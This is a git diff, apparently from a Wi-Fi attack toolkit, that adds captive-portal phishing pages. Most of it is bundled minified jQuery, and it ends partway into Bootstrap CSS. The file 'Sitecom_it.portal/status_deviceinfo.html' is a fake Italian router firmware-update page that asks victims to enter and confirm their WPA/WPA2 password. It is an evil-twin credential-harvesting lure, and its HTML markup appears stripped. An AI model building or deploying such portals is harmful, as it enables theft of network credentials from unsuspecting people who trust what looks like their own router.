a?n(a,b||this.context):0;e>d;d++){for(c=this[d];c&&c!==b;c=c.parentNode){if(c.nodeType<11&&(g?g.index(c)>-1:1===c.nodeType&&n.find.matchesSelector(c,a))){f.push(c);break}}}return this.pushStack(f.length>1?n.unique(f):f)},index:function(a){return a?"string"==typeof a?n.inArray(this[0],n(a)):n.inArray(a.jquery?a[0]:a,this):this[0]&&this[0].parentNode?this.first().prevAll().length:-1},add:function(a,b){return this.pushStack(n.unique(n.merge(this.get(),n(a,b))))},addBack:function(a){return this.add(null==a?this.prevObject:this.prevObject.filter(a))}});function E(a,b){do{a=a[b]}while(a&&1!==a.nodeType);return a}n.each({parent:function(a){var b=a.parentNode;return b&&11!==b.nodeType?b:null},parents:function(a){return n.dir(a,"parentNode")},parentsUntil:function(a,b,c){return n.dir(a,"parentNode",c)},next:function(a){return E(a,"nextSibling")},prev:function(a){return E(a,"previousSibling")},nextAll:function(a){return n.dir(a,"nextSibling")},prevAll:function(a){return n.dir(a,"previousSibling")},nextUntil:function(a,b,c){return n.dir(a,"nextSibling",c)},prevUntil:function(a,b,c){return n.dir(a,"previousSibling",c)},siblings:function(a){return n.sibling((a.parentNode||{}).firstChild,a)},children:function(a){return n.sibling(a.firstChild)},contents:function(a){return n.nodeName(a,"iframe")?a.contentDocument||a.contentWindow.document:n.merge([],a.childNodes)}},function(a,b){n.fn[a]=function(c,d){var e=n.map(this,b,c);return"Until"!==a.slice(-5)&&(d=c),d&&"string"==typeof d&&(e=n.filter(d,e)),this.length>1&&(D[a]||(e=n.unique(e)),C.test(a)&&(e=e.reverse())),this.pushStack(e)}});var F=/\S+/g,G={};function H(a){var b=G[a]={};return n.each(a.match(F)||[],function(a,c){b[c]=!0}),b}n.Callbacks=function(a){a="string"==typeof a?G[a]||H(a):n.extend({},a);var b,c,d,e,f,g,h=[],i=!a.once&&[],j=function(l){for(c=a.memory&&l,d=!0,f=g||0,g=0,e=h.length,b=!0;h&&e>f;f++){if(h[f].apply(l[0],l[1])===!1&&a.stopOnFalse){c=!1;break}}b=!1,h&&(i?i.length&&j(i.shift()):c?h=[]:k.disable())},k={add:function(){if(h){var d=h.length;!function f(b){n.each(b,function(b,c){var d=n.type(c);"function"===d?a.unique&&k.has(c)||h.push(c):c&&c.length&&"string"!==d&&f(c)})}(arguments),b?e=h.length:c&&(g=d,j(c))}return this},remove:function(){return h&&n.each(arguments,function(a,c){var d;while((d=n.inArray(c,h,d))>-1){h.splice(d,1),b&&(e>=d&&e--,f>=d&&f--)}}),this},has:function(a){return a?n.inArray(a,h)>-1:!(!h||!h.length)},empty:function(){return h=[],e=0,this},disable:function(){return h=i=c=void 0,this},disabled:function(){return !h},lock:function(){return i=void 0,c||k.disable(),this},locked:function(){return !i},fireWith:function(a,c){return !h||d&&!i||(c=c||[],c=[a,c.slice?c.slice():c],b?i.push(c):j(c)),this},fire:function(){return k.fireWith(this,arguments),this},fired:function(){return !!d}};return k},n.extend({Deferred:function(a){var b=[["resolve","done",n.Callbacks("once memory"),"resolved"],["reject","fail",n.Callbacks("once memory"),"rejected"],["notify","progress",n.Callbacks("memory")]],c="pending",d={state:function(){return c},always:function(){return e.done(arguments).fail(arguments),this},then:function(){var a=arguments;return n.Deferred(function(c){n.each(b,function(b,f){var g=n.isFunction(a[b])&&a[b];e[f[1]](function(){var a=g&&g.apply(this,arguments);a&&n.isFunction(a.promise)?a.promise().done(c.resolve).fail(c.reject).progress(c.notify):c[f[0]+"With"](this===d?c.promise():this,g?[a]:arguments)})}),a=null}).promise()},promise:function(a){return null!=a?n.extend(a,d):d}},e={};return d.pipe=d.then,n.each(b,function(a,f){var g=f[2],h=f[3];d[f[1]]=g.add,h&&g.add(function(){c=h},b[1^a][2].disable,b[2][2].lock),e[f[0]]=function(){return e[f[0]+"With"](this===e?d:this,arguments),this},e[f[0]+"With"]=g.fireWith}),d.promise(e),a&&a.call(e,e),e},when:function(a){var b=0,c=d.call(arguments),e=c.length,f=1!==e||a&&n.isFunction(a.promise)?e:0,g=1===f?a:n.Deferred(),h=function(a,b,c){return function(e){b[a]=this,c[a]=arguments.length>1?d.call(arguments):e,c===i?g.notifyWith(b,c):--f||g.resolveWith(b,c)}},i,j,k;if(e>1){for(i=new Array(e),j=new Array(e),k=new Array(e);e>b;b++){c[b]&&n.isFunction(c[b].promise)?c[b].promise().done(h(b,k,c)).fail(g.reject).progress(h(b,j,i)):--f}}return f||g.resolveWith(k,c),g.promise()}});var I;n.fn.ready=function(a){return n.ready.promise().done(a),this},n.extend({isReady:!1,readyWait:1,holdReady:function(a){a?n.readyWait++:n.ready(!0)},ready:function(a){if(a===!0?!--n.readyWait:!n.isReady){if(!z.body){return setTimeout(n.ready)}n.isReady=!0,a!==!0&&--n.readyWait>0||(I.resolveWith(z,[n]),n.fn.trigger&&n(z).trigger("ready").off("ready"))}}});function J(){z.addEventListener?(z.removeEventListener("DOMContentLoaded",K,!1),a.removeEventListener("load",K,!1)):(z.detachEvent("onreadystatechange",K),a.detachEvent("onload",K))}function K(){(z.addEventListener||"load"===event.type||"complete"===z.readyState)&&(J(),n.ready())}n.ready.promise=function(b){if(!I){if(I=n.Deferred(),"complete"===z.readyState){setTimeout(n.ready)}else{if(z.addEventListener){z.addEventListener("DOMContentLoaded",K,!1),a.addEventListener("load",K,!1)}else{z.attachEvent("onreadystatechange",K),a.attachEvent("onload",K);var c=!1;try{c=null==a.frameElement&&z.documentElement}catch(d){}c&&c.doScroll&&!function e(){if(!n.isReady){try{c.doScroll("left")}catch(a){return setTimeout(e,50)}J(),n.ready()}}()}}}return I.promise(b)};var L="undefined",M;for(M in n(l)){break}l.ownLast="0"!==M,l.inlineBlockNeedsLayout=!1,n(function(){var a,b,c=z.getElementsByTagName("body")[0];c&&(a=z.createElement("div"),a.style.cssText="border:0;width:0;height:0;position:absolute;top:0;left:-9999px;margin-top:1px",b=z.createElement("div"),c.appendChild(a).appendChild(b),typeof b.style.zoom!==L&&(b.style.cssText="border:0;margin:0;width:1px;padding:1px;display:inline;zoom:1",(l.inlineBlockNeedsLayout=3===b.offsetWidth)&&(c.style.zoom=1)),c.removeChild(a),a=b=null)}),function(){var a=z.createElement("div");if(null==l.deleteExpando){l.deleteExpando=!0;try{delete a.test}catch(b){l.deleteExpando=!1}}a=null}(),n.acceptData=function(a){var b=n.noData[(a.nodeName+" ").toLowerCase()],c=+a.nodeType||1;return 1!==c&&9!==c?!1:!b||b!==!0&&a.getAttribute("classid")===b};var N=/^(?:\{[\w\W]*\}|\[[\w\W]*\])$/,O=/([A-Z])/g;function P(a,b,c){if(void 0===c&&1===a.nodeType){var d="data-"+b.replace(O,"-$1").toLowerCase();if(c=a.getAttribute(d),"string"==typeof c){try{c="true"===c?!0:"false"===c?!1:"null"===c?null:+c+""===c?+c:N.test(c)?n.parseJSON(c):c}catch(e){}n.data(a,b,c)}else{c=void 0}}return c}function Q(a){var b;for(b in a){if(("data"!==b||!n.isEmptyObject(a[b]))&&"toJSON"!==b){return !1}}return !0}function R(a,b,d,e){if(n.acceptData(a)){var f,g,h=n.expando,i=a.nodeType,j=i?n.cache:a,k=i?a[h]:a[h]&&h;if(k&&j[k]&&(e||j[k].data)||void 0!==d||"string"!=typeof b){return k||(k=i?a[h]=c.pop()||n.guid++:h),j[k]||(j[k]=i?{}:{toJSON:n.noop}),("object"==typeof b||"function"==typeof b)&&(e?j[k]=n.extend(j[k],b):j[k].data=n.extend(j[k].data,b)),g=j[k],e||(g.data||(g.data={}),g=g.data),void 0!==d&&(g[n.camelCase(b)]=d),"string"==typeof b?(f=g[b],null==f&&(f=g[n.camelCase(b)])):f=g,f}}}function S(a,b,c){if(n.acceptData(a)){var d,e,f=a.nodeType,g=f?n.cache:a,h=f?a[n.expando]:n.expando;if(g[h]){if(b&&(d=c?g[h]:g[h].data)){n.isArray(b)?b=b.concat(n.map(b,n.camelCase)):b in d?b=[b]:(b=n.camelCase(b),b=b in d?[b]:b.split(" ")),e=b.length;while(e--){delete d[b[e]]}if(c?!Q(d):!n.isEmptyObject(d)){return}}(c||(delete g[h].data,Q(g[h])))&&(f?n.cleanData([a],!0):l.deleteExpando||g!=g.window?delete g[h]:g[h]=null)}}}n.extend({cache:{},noData:{"applet ":!0,"embed ":!0,"object ":"clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"},hasData:function(a){return a=a.nodeType?n.cache[a[n.expando]]:a[n.expando],!!a&&!Q(a)},data:function(a,b,c){return R(a,b,c)},removeData:function(a,b){return S(a,b)},_data:function(a,b,c){return R(a,b,c,!0)},_removeData:function(a,b){return S(a,b,!0)}}),n.fn.extend({data:function(a,b){var c,d,e,f=this[0],g=f&&f.attributes;if(void 0===a){if(this.length&&(e=n.data(f),1===f.nodeType&&!n._data(f,"parsedAttrs"))){c=g.length;while(c--){d=g[c].name,0===d.indexOf("data-")&&(d=n.camelCase(d.slice(5)),P(f,d,e[d]))}n._data(f,"parsedAttrs",!0)}return e}return"object"==typeof a?this.each(function(){n.data(this,a)}):arguments.length>1?this.each(function(){n.data(this,a,b)}):f?P(f,a,n.data(f,a)):void 0},removeData:function(a){return this.each(function(){n.removeData(this,a)})}}),n.extend({queue:function(a,b,c){var d;return a?(b=(b||"fx")+"queue",d=n._data(a,b),c&&(!d||n.isArray(c)?d=n._data(a,b,n.makeArray(c)):d.push(c)),d||[]):void 0},dequeue:function(a,b){b=b||"fx";var c=n.queue(a,b),d=c.length,e=c.shift(),f=n._queueHooks(a,b),g=function(){n.dequeue(a,b)};"inprogress"===e&&(e=c.shift(),d--),e&&("fx"===b&&c.unshift("inprogress"),delete f.stop,e.call(a,g,f)),!d&&f&&f.empty.fire()},_queueHooks:function(a,b){var c=b+"queueHooks";return n._data(a,c)||n._data(a,c,{empty:n.Callbacks("once memory").add(function(){n._removeData(a,b+"queue"),n._removeData(a,c)})})}}),n.fn.extend({queue:function(a,b){var c=2;return"string"!=typeof a&&(b=a,a="fx",c--),arguments.lengthh;h++){b(a[h],c,g?d:d.call(a[h],h,b(a[h],c)))}}}return e?a:j?b.call(a):i?b(a[0],c):f},X=/^(?:checkbox|radio)$/i;!function(){var a=z.createDocumentFragment(),b=z.createElement("div"),c=z.createElement("input");if(b.setAttribute("className","t"),b.innerHTML="
a",l.leadingWhitespace=3===b.firstChild.nodeType,l.tbody=!b.getElementsByTagName("tbody").length,l.htmlSerialize=!!b.getElementsByTagName("link").length,l.html5Clone="<:nav>"!==z.createElement("nav").cloneNode(!0).outerHTML,c.type="checkbox",c.checked=!0,a.appendChild(c),l.appendChecked=c.checked,b.innerHTML="",l.noCloneChecked=!!b.cloneNode(!0).lastChild.defaultValue,a.appendChild(b),b.innerHTML="",l.checkClone=b.cloneNode(!0).cloneNode(!0).lastChild.checked,l.noCloneEvent=!0,b.attachEvent&&(b.attachEvent("onclick",function(){l.noCloneEvent=!1}),b.cloneNode(!0).click()),null==l.deleteExpando){l.deleteExpando=!0;try{delete b.test}catch(d){l.deleteExpando=!1}}a=b=c=null}(),function(){var b,c,d=z.createElement("div");for(b in {submit:!0,change:!0,focusin:!0}){c="on"+b,(l[b+"Bubbles"]=c in a)||(d.setAttribute(c,"t"),l[b+"Bubbles"]=d.attributes[c].expando===!1)}d=null}();var Y=/^(?:input|select|textarea)$/i,Z=/^key/,$=/^(?:mouse|contextmenu)|click/,_=/^(?:focusinfocus|focusoutblur)$/,ab=/^([^.]*)(?:\.(.+)|)$/;function bb(){return !0}function cb(){return !1}function db(){try{return z.activeElement}catch(a){}}n.event={global:{},add:function(a,b,c,d,e){var f,g,h,i,j,k,l,m,o,p,q,r=n._data(a);if(r){c.handler&&(i=c,c=i.handler,e=i.selector),c.guid||(c.guid=n.guid++),(g=r.events)||(g=r.events={}),(k=r.handle)||(k=r.handle=function(a){return typeof n===L||a&&n.event.triggered===a.type?void 0:n.event.dispatch.apply(k.elem,arguments)},k.elem=a),b=(b||"").match(F)||[""],h=b.length;while(h--){f=ab.exec(b[h])||[],o=q=f[1],p=(f[2]||"").split(".").sort(),o&&(j=n.event.special[o]||{},o=(e?j.delegateType:j.bindType)||o,j=n.event.special[o]||{},l=n.extend({type:o,origType:q,data:d,handler:c,guid:c.guid,selector:e,needsContext:e&&n.expr.match.needsContext.test(e),namespace:p.join(".")},i),(m=g[o])||(m=g[o]=[],m.delegateCount=0,j.setup&&j.setup.call(a,d,p,k)!==!1||(a.addEventListener?a.addEventListener(o,k,!1):a.attachEvent&&a.attachEvent("on"+o,k))),j.add&&(j.add.call(a,l),l.handler.guid||(l.handler.guid=c.guid)),e?m.splice(m.delegateCount++,0,l):m.push(l),n.event.global[o]=!0)}a=null}},remove:function(a,b,c,d,e){var f,g,h,i,j,k,l,m,o,p,q,r=n.hasData(a)&&n._data(a);if(r&&(k=r.events)){b=(b||"").match(F)||[""],j=b.length;while(j--){if(h=ab.exec(b[j])||[],o=q=h[1],p=(h[2]||"").split(".").sort(),o){l=n.event.special[o]||{},o=(d?l.delegateType:l.bindType)||o,m=k[o]||[],h=h[2]&&new RegExp("(^|\\.)"+p.join("\\.(?:.*\\.|)")+"(\\.|$)"),i=f=m.length;while(f--){g=m[f],!e&&q!==g.origType||c&&c.guid!==g.guid||h&&!h.test(g.namespace)||d&&d!==g.selector&&("**"!==d||!g.selector)||(m.splice(f,1),g.selector&&m.delegateCount--,l.remove&&l.remove.call(a,g))}i&&!m.length&&(l.teardown&&l.teardown.call(a,p,r.handle)!==!1||n.removeEvent(a,o,r.handle),delete k[o])}else{for(o in k){n.event.remove(a,o+b[j],c,d,!0)}}}n.isEmptyObject(k)&&(delete r.handle,n._removeData(a,"events"))}},trigger:function(b,c,d,e){var f,g,h,i,k,l,m,o=[d||z],p=j.call(b,"type")?b.type:b,q=j.call(b,"namespace")?b.namespace.split("."):[];if(h=l=d=d||z,3!==d.nodeType&&8!==d.nodeType&&!_.test(p+n.event.triggered)&&(p.indexOf(".")>=0&&(q=p.split("."),p=q.shift(),q.sort()),g=p.indexOf(":")<0&&"on"+p,b=b[n.expando]?b:new n.Event(p,"object"==typeof b&&b),b.isTrigger=e?2:3,b.namespace=q.join("."),b.namespace_re=b.namespace?new RegExp("(^|\\.)"+q.join("\\.(?:.*\\.|)")+"(\\.|$)"):null,b.result=void 0,b.target||(b.target=d),c=null==c?[b]:n.makeArray(c,[b]),k=n.event.special[p]||{},e||!k.trigger||k.trigger.apply(d,c)!==!1)){if(!e&&!k.noBubble&&!n.isWindow(d)){for(i=k.delegateType||p,_.test(i+p)||(h=h.parentNode);h;h=h.parentNode){o.push(h),l=h}l===(d.ownerDocument||z)&&o.push(l.defaultView||l.parentWindow||a)}m=0;while((h=o[m++])&&!b.isPropagationStopped()){b.type=m>1?i:k.bindType||p,f=(n._data(h,"events")||{})[b.type]&&n._data(h,"handle"),f&&f.apply(h,c),f=g&&h[g],f&&f.apply&&n.acceptData(h)&&(b.result=f.apply(h,c),b.result===!1&&b.preventDefault())}if(b.type=p,!e&&!b.isDefaultPrevented()&&(!k._default||k._default.apply(o.pop(),c)===!1)&&n.acceptData(d)&&g&&d[p]&&!n.isWindow(d)){l=d[g],l&&(d[g]=null),n.event.triggered=p;try{d[p]()}catch(r){}n.event.triggered=void 0,l&&(d[g]=l)}return b.result}},dispatch:function(a){a=n.event.fix(a);var b,c,e,f,g,h=[],i=d.call(arguments),j=(n._data(this,"events")||{})[a.type]||[],k=n.event.special[a.type]||{};if(i[0]=a,a.delegateTarget=this,!k.preDispatch||k.preDispatch.call(this,a)!==!1){h=n.event.handlers.call(this,a,j),b=0;while((f=h[b++])&&!a.isPropagationStopped()){a.currentTarget=f.elem,g=0;while((e=f.handlers[g++])&&!a.isImmediatePropagationStopped()){(!a.namespace_re||a.namespace_re.test(e.namespace))&&(a.handleObj=e,a.data=e.data,c=((n.event.special[e.origType]||{}).handle||e.handler).apply(f.elem,i),void 0!==c&&(a.result=c)===!1&&(a.preventDefault(),a.stopPropagation()))}}return k.postDispatch&&k.postDispatch.call(this,a),a.result}},handlers:function(a,b){var c,d,e,f,g=[],h=b.delegateCount,i=a.target;if(h&&i.nodeType&&(!a.button||"click"!==a.type)){for(;i!=this;i=i.parentNode||this){if(1===i.nodeType&&(i.disabled!==!0||"click"!==a.type)){for(e=[],f=0;h>f;f++){d=b[f],c=d.selector+" ",void 0===e[c]&&(e[c]=d.needsContext?n(c,this).index(i)>=0:n.find(c,this,null,[i]).length),e[c]&&e.push(d)}e.length&&g.push({elem:i,handlers:e})}}}return h]","i"),ib=/^\s+/,jb=/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([\w:]+)[^>]*)\/>/gi,kb=/<([\w:]+)/,lb=/\s*$/g,sb={option:[1,""],legend:[1,"
","
"],area:[1,"",""],param:[1,"",""],thead:[1,"","
"],tr:[2,"","
"],col:[2,"","
"],td:[3,"","
"],_default:l.htmlSerialize?[0,"",""]:[1,"X
","
"]},tb=eb(z),ub=tb.appendChild(z.createElement("div"));sb.optgroup=sb.option,sb.tbody=sb.tfoot=sb.colgroup=sb.caption=sb.thead,sb.th=sb.td;function vb(a,b){var c,d,e=0,f=typeof a.getElementsByTagName!==L?a.getElementsByTagName(b||"*"):typeof a.querySelectorAll!==L?a.querySelectorAll(b||"*"):void 0;if(!f){for(f=[],c=a.childNodes||a;null!=(d=c[e]);e++){!b||n.nodeName(d,b)?f.push(d):n.merge(f,vb(d,b))}}return void 0===b||b&&n.nodeName(a,b)?n.merge([a],f):f}function wb(a){X.test(a.type)&&(a.defaultChecked=a.checked)}function xb(a,b){return n.nodeName(a,"table")&&n.nodeName(11!==b.nodeType?b:b.firstChild,"tr")?a.getElementsByTagName("tbody")[0]||a.appendChild(a.ownerDocument.createElement("tbody")):a}function yb(a){return a.type=(null!==n.find.attr(a,"type"))+"/"+a.type,a}function zb(a){var b=qb.exec(a.type);return b?a.type=b[1]:a.removeAttribute("type"),a}function Ab(a,b){for(var c,d=0;null!=(c=a[d]);d++){n._data(c,"globalEval",!b||n._data(b[d],"globalEval"))}}function Bb(a,b){if(1===b.nodeType&&n.hasData(a)){var c,d,e,f=n._data(a),g=n._data(b,f),h=f.events;if(h){delete g.handle,g.events={};for(c in h){for(d=0,e=h[c].length;e>d;d++){n.event.add(b,c,h[c][d])}}}g.data&&(g.data=n.extend({},g.data))}}function Cb(a,b){var c,d,e;if(1===b.nodeType){if(c=b.nodeName.toLowerCase(),!l.noCloneEvent&&b[n.expando]){e=n._data(b);for(d in e.events){n.removeEvent(b,d,e.handle)}b.removeAttribute(n.expando)}"script"===c&&b.text!==a.text?(yb(b).text=a.text,zb(b)):"object"===c?(b.parentNode&&(b.outerHTML=a.outerHTML),l.html5Clone&&a.innerHTML&&!n.trim(b.innerHTML)&&(b.innerHTML=a.innerHTML)):"input"===c&&X.test(a.type)?(b.defaultChecked=b.checked=a.checked,b.value!==a.value&&(b.value=a.value)):"option"===c?b.defaultSelected=b.selected=a.defaultSelected:("input"===c||"textarea"===c)&&(b.defaultValue=a.defaultValue)}}n.extend({clone:function(a,b,c){var d,e,f,g,h,i=n.contains(a.ownerDocument,a);if(l.html5Clone||n.isXMLDoc(a)||!hb.test("<"+a.nodeName+">")?f=a.cloneNode(!0):(ub.innerHTML=a.outerHTML,ub.removeChild(f=ub.firstChild)),!(l.noCloneEvent&&l.noCloneChecked||1!==a.nodeType&&11!==a.nodeType||n.isXMLDoc(a))){for(d=vb(f),h=vb(a),g=0;null!=(e=h[g]);++g){d[g]&&Cb(e,d[g])}}if(b){if(c){for(h=h||vb(a),d=d||vb(f),g=0;null!=(e=h[g]);g++){Bb(e,d[g])}}else{Bb(a,f)}}return d=vb(f,"script"),d.length>0&&Ab(d,!i&&vb(a,"script")),d=h=e=null,f},buildFragment:function(a,b,c,d){for(var e,f,g,h,i,j,k,m=a.length,o=eb(b),p=[],q=0;m>q;q++){if(f=a[q],f||0===f){if("object"===n.type(f)){n.merge(p,f.nodeType?[f]:f)}else{if(mb.test(f)){h=h||o.appendChild(b.createElement("div")),i=(kb.exec(f)||["",""])[1].toLowerCase(),k=sb[i]||sb._default,h.innerHTML=k[1]+f.replace(jb,"<$1>")+k[2],e=k[0];while(e--){h=h.lastChild}if(!l.leadingWhitespace&&ib.test(f)&&p.push(b.createTextNode(ib.exec(f)[0])),!l.tbody){f="table"!==i||lb.test(f)?""!==k[1]||lb.test(f)?0:h:h.firstChild,e=f&&f.childNodes.length;while(e--){n.nodeName(j=f.childNodes[e],"tbody")&&!j.childNodes.length&&f.removeChild(j)}}n.merge(p,h.childNodes),h.textContent="";while(h.firstChild){h.removeChild(h.firstChild)}h=o.lastChild}else{p.push(b.createTextNode(f))}}}}h&&o.removeChild(h),l.appendChecked||n.grep(vb(p,"input"),wb),q=0;while(f=p[q++]){if((!d||-1===n.inArray(f,d))&&(g=n.contains(f.ownerDocument,f),h=vb(o.appendChild(f),"script"),g&&Ab(h),c)){e=0;while(f=h[e++]){pb.test(f.type||"")&&c.push(f)}}}return h=null,o},cleanData:function(a,b){for(var d,e,f,g,h=0,i=n.expando,j=n.cache,k=l.deleteExpando,m=n.event.special;null!=(d=a[h]);h++){if((b||n.acceptData(d))&&(f=d[i],g=f&&j[f])){if(g.events){for(e in g.events){m[e]?n.event.remove(d,e):n.removeEvent(d,e,g.handle)}}j[f]&&(delete j[f],k?delete d[i]:typeof d.removeAttribute!==L?d.removeAttribute(i):d[i]=null,c.push(f))}}}}),n.fn.extend({text:function(a){return W(this,function(a){return void 0===a?n.text(this):this.empty().append((this[0]&&this[0].ownerDocument||z).createTextNode(a))},null,a,arguments.length)},append:function(){return this.domManip(arguments,function(a){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var b=xb(this,a);b.appendChild(a)}})},prepend:function(){return this.domManip(arguments,function(a){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var b=xb(this,a);b.insertBefore(a,b.firstChild)}})},before:function(){return this.domManip(arguments,function(a){this.parentNode&&this.parentNode.insertBefore(a,this)})},after:function(){return this.domManip(arguments,function(a){this.parentNode&&this.parentNode.insertBefore(a,this.nextSibling)})},remove:function(a,b){for(var c,d=a?n.filter(a,this):this,e=0;null!=(c=d[e]);e++){b||1!==c.nodeType||n.cleanData(vb(c)),c.parentNode&&(b&&n.contains(c.ownerDocument,c)&&Ab(vb(c,"script")),c.parentNode.removeChild(c))}return this},empty:function(){for(var a,b=0;null!=(a=this[b]);b++){1===a.nodeType&&n.cleanData(vb(a,!1));while(a.firstChild){a.removeChild(a.firstChild)}a.options&&n.nodeName(a,"select")&&(a.options.length=0)}return this},clone:function(a,b){return a=null==a?!1:a,b=null==b?a:b,this.map(function(){return n.clone(this,a,b)})},html:function(a){return W(this,function(a){var b=this[0]||{},c=0,d=this.length;if(void 0===a){return 1===b.nodeType?b.innerHTML.replace(gb,""):void 0}if(!("string"!=typeof a||nb.test(a)||!l.htmlSerialize&&hb.test(a)||!l.leadingWhitespace&&ib.test(a)||sb[(kb.exec(a)||["",""])[1].toLowerCase()])){a=a.replace(jb,"<$1>");try{for(;d>c;c++){b=this[c]||{},1===b.nodeType&&(n.cleanData(vb(b,!1)),b.innerHTML=a)}b=0}catch(e){}}b&&this.empty().append(a)},null,a,arguments.length)},replaceWith:function(){var a=arguments[0];return this.domManip(arguments,function(b){a=this.parentNode,n.cleanData(vb(this)),a&&a.replaceChild(b,this)}),a&&(a.length||a.nodeType)?this:this.remove()},detach:function(a){return this.remove(a,!0)},domManip:function(a,b){a=e.apply([],a);var c,d,f,g,h,i,j=0,k=this.length,m=this,o=k-1,p=a[0],q=n.isFunction(p);if(q||k>1&&"string"==typeof p&&!l.checkClone&&ob.test(p)){return this.each(function(c){var d=m.eq(c);q&&(a[0]=p.call(this,c,d.html())),d.domManip(a,b)})}if(k&&(i=n.buildFragment(a,this[0].ownerDocument,!1,this),c=i.firstChild,1===i.childNodes.length&&(i=c),c)){for(g=n.map(vb(i,"script"),yb),f=g.length;k>j;j++){d=i,j!==o&&(d=n.clone(d,!0,!0),f&&n.merge(g,vb(d,"script"))),b.call(this[j],d,j)}if(f){for(h=g[g.length-1].ownerDocument,n.map(g,zb),j=0;f>j;j++){d=g[j],pb.test(d.type||"")&&!n._data(d,"globalEval")&&n.contains(h,d)&&(d.src?n._evalUrl&&n._evalUrl(d.src):n.globalEval((d.text||d.textContent||d.innerHTML||"").replace(rb,"")))}}i=c=null}return this}}),n.each({appendTo:"append",prependTo:"prepend",insertBefore:"before",insertAfter:"after",replaceAll:"replaceWith"},function(a,b){n.fn[a]=function(a){for(var c,d=0,e=[],g=n(a),h=g.length-1;h>=d;d++){c=d===h?this:this.clone(!0),n(g[d])[b](c),f.apply(e,c.get())}return this.pushStack(e)}});var Db,Eb={};function Fb(b,c){var d=n(c.createElement(b)).appendTo(c.body),e=a.getDefaultComputedStyle?a.getDefaultComputedStyle(d[0]).display:n.css(d[0],"display");return d.detach(),e}function Gb(a){var b=z,c=Eb[a];return c||(c=Fb(a,b),"none"!==c&&c||(Db=(Db||n(" \ No newline at end of file diff --git a/attacks/Captive Portal/sites/Sitecom_it.portal/status_deviceinfo.html b/attacks/Captive Portal/sites/Sitecom_it.portal/status_deviceinfo.html new file mode 100644 index 0000000..4043b07 --- /dev/null +++ b/attacks/Captive Portal/sites/Sitecom_it.portal/status_deviceinfo.html @@ -0,0 +1,53 @@ + +

Aggiornamento del firmware
disponibile un nuovo firmware per il vostro modem che migliorer le funzionalit e le performance dell'apparato. Per scaricare e aggiornare il firmware necessario inserire la password WPA/WPA2 e premere il tasto AGGIORNA per procedere.
     
Versione Firmware corrente :  v1001
Nuova Versione Firmware :  v2002
     
WPA/WPA2 : 
Conferma WPA/WPA2 : 
     
ATTENZIONE: Il download e l'aggiornamento del firmware pu richiedere alcuni minuti. Durante l'aggiornamento non spegnere il router n chiudere il browser.
     
\ No newline at end of file diff --git a/attacks/Captive Portal/sites/TP-LINK_en.portal/bootstrap.min.css b/attacks/Captive Portal/sites/TP-LINK_en.portal/bootstrap.min.css new file mode 100755 index 0000000..7a5aa22 --- /dev/null +++ b/attacks/Captive Portal/sites/TP-LINK_en.portal/bootstrap.min.css @@ -0,0 +1,5 @@ +/*! + * Bootstrap v3.3.6 (http://getbootstrap.com) + * Copyright 2011-2015 Twitter, Inc. + * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) + *//*! normalize.css v3.0.3 | MIT License | github.com/necolas/normalize.css */html{font-family:sans-serif;-webkit-text-size-adjust:100%;-ms-text-size-adjust:100%}body{margin:0}article,aside,details,figcaption,figure,footer,header,hgroup,main,menu,nav,section,summary{display:block}audio,canvas,progress,video{display:inline-block;vertical-align:baseline}audio:not([controls]){display:none;height:0}[hidden],template{display:none}a{background-color:transparent}a:active,a:hover{outline:0}abbr[title]{border-bottom:1px dotted}b,strong{font-weight:700}dfn{font-style:italic}h1{margin:.67em 0;font-size:2em}mark{color:#000;background:#ff0}small{font-size:80%}sub,sup{position:relative;font-size:75%;line-height:0;vertical-align:baseline}sup{top:-.5em}sub{bottom:-.25em}img{border:0}svg:not(:root){overflow:hidden}figure{margin:1em 40px}hr{height:0;-webkit-box-sizing:content-box;-moz-box-sizing:content-box;box-sizing:content-box}pre{overflow:auto}code,kbd,pre,samp{font-family:monospace,monospace;font-size:1em}button,input,optgroup,select,textarea{margin:0;font:inherit;color:inherit}button{overflow:visible}button,select{text-transform:none}button,html input[type=button],input[type=reset],input[type=submit]{-webkit-appearance:button;cursor:pointer}button[disabled],html input[disabled]{cursor:default}button::-moz-focus-inner,input::-moz-focus-inner{padding:0;border:0}input{line-height:normal}input[type=checkbox],input[type=radio]{-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box;padding:0}input[type=number]::-webkit-inner-spin-button,input[type=number]::-webkit-outer-spin-button{height:auto}input[type=search]{-webkit-box-sizing:content-box;-moz-box-sizing:content-box;box-sizing:content-box;-webkit-appearance:textfield}input[type=search]::-webkit-search-cancel-button,input[type=search]::-webkit-search-decoration{-webkit-appearance:none}fieldset{padding:.35em .625em .75em;margin:0 2px;border:1px solid silver}legend{padding:0;border:0}textarea{overflow:auto}optgroup{font-weight:700}table{border-spacing:0;border-collapse:collapse}td,th{padding:0}/*! Source: https://github.com/h5bp/html5-boilerplate/blob/master/src/css/main.css */@media print{*,:after,:before{color:#000 !important;text-shadow:none !important;background:0 0 !important;-webkit-box-shadow:none !important;box-shadow:none !important}a,a:visited{text-decoration:underline}a[href]:after{content:" (" attr(href) ")"}abbr[title]:after{content:" (" attr(title) ")"}a[href^="javascript:"]:after,a[href^="#"]:after{content:""}blockquote,pre{border:1px solid #999;page-break-inside:avoid}thead{display:table-header-group}img,tr{page-break-inside:avoid}img{max-width:100% !important}h2,h3,p{orphans:3;widows:3}h2,h3{page-break-after:avoid}.navbar{display:none}.btn>.caret,.dropup>.btn>.caret{border-top-color:#000 !important}.label{border:1px solid #000}.table{border-collapse:collapse !important}.table td,.table th{background-color:#fff !important}.table-bordered td,.table-bordered th{border:1px solid #ddd !important}}@font-face{font-family:'Glyphicons Halflings';src:url(../fonts/glyphicons-halflings-regular.eot);src:url(../fonts/glyphicons-halflings-regular.eot?#iefix) format('embedded-opentype'),url(../fonts/glyphicons-halflings-regular.woff2) format('woff2'),url(../fonts/glyphicons-halflings-regular.woff) format('woff'),url(../fonts/glyphicons-halflings-regular.ttf) format('truetype'),url(../fonts/glyphicons-halflings-regular.svg#glyphicons_halflingsregular) format('svg')}.glyphicon{position:relative;top:1px;display:inline-block;font-family:'Glyphicons 